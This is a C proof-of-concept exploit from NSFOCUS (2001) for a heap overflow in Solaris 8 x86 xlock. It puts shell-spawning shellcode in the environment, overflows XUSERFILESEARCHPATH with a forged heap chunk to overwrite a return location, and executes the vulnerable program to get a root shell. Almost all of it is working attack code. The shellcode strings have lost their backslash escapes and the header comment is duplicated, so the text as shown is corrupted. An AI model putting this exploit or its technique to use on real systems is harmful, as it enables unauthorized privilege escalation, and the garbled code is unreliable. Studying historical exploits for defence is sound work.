/*
* sol_x86_xlockex.c - Proof of Concept Code for xlock heap overflow bug.
* Copyright (c) 2001 - Nsfocus.com
*
* Tested in Solaris 8 x86.
* * sol_x86_xlockex.c - Proof of Concept Code for xlock heap overflow bug.
* Copyright (c) 2001 - Nsfocus.com
*
* Tested in Solaris 8 x86.
*
* DISCLAIMS:
* This is a proof of concept code. This code is for test purpose
* only and should not be run against any host without permission from
* the system administrator.
*
* NSFOCUS Security Team <security@nsfocus.com>
* http://www.nsfocus.com
*/

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <strings.h>
#include <sys/types.h>

#define RETLOC 0x080463c8 /* default retrun address location (Solaris 8 x86) */
#define SP 0x08047ffc /* default "bottom" stack address (Solaris 8 x86) */

#define VULPROG "/usr/openwin/bin/xlock"

char shellcode[] =
"x90x90x90x90x90x90x90x90x90x90x90x90"
"xebx28x90x90x90x90x90x90x90x90x90x90"
"x90x90x90x90x90x90x90x90x90x90x90x90"
"x90x90x90x90x90x90x90x90x90x90x90x90"
"x90x90x90x90x90x90x90x90x90x90x90x90"
"x8bxecx83xecx64x33xd2xc6x45xcex9ax89"
"x55xcfx89x55xd3xc6x45xd3x07xc6x45xd5"
"xc3x89x55xfcx83xedx32x33xc0x50x50xb0"
"xcaxffxd5x83xc4x08x31xc0x50x68x2fx2f"
"x73x68x68x2fx62x69x6ex89xe3x50x53x89"
"xe2x50x52x53xb0x3bxffxd5";

int
main(int argc, char **argv)
{
char buf[2048], fake_chunk[48];
long retaddr, sp_addr = SP;
char *arg[24], *env[24];
long retloc = RETLOC;
unsigned int *ptr;
char ev1[]="XUSERFILESEARCHPATH=";
long ev1_len;
long overbuflen = 1024;

if (argc > 1) /* adjust retloc */
retloc += atoi(argv[1]);

bzero(buf, sizeof(buf));
ev1_len = strlen(ev1);
memcpy(buf, ev1, ev1_len);
memset(buf + ev1_len, 'A', overbuflen + sizeof(fake_chunk));

arg[0] = VULPROG;
arg[1] = NULL;

env[0] = shellcode; /* put shellcode in env */
env[1] = buf; /* put overflow environ */
env[2] = NULL; /* end of env */

/* get the not exact shellcode address :) */
retaddr = sp_addr - strlen(VULPROG) - 1
- strlen("i86pc") - 1
- strlen(buf) - 1
- strlen(shellcode) - 1;

printf("Using RET address = 0x%lx ", retaddr);
printf("Using retloc = 0x%lx ", retloc);

ptr = (unsigned int *) fake_chunk;
memset(fake_chunk, 'xff', sizeof(fake_chunk));
*(ptr + 0) = 0xfffffff9;
*(ptr + 2) = retaddr;
*(ptr + 8) = retloc - 8;

memcpy(buf + ev1_len + overbuflen, fake_chunk, sizeof(fake_chunk));

execve(VULPROG, arg, env);
perror("execle");
return(1);
} /* End of main */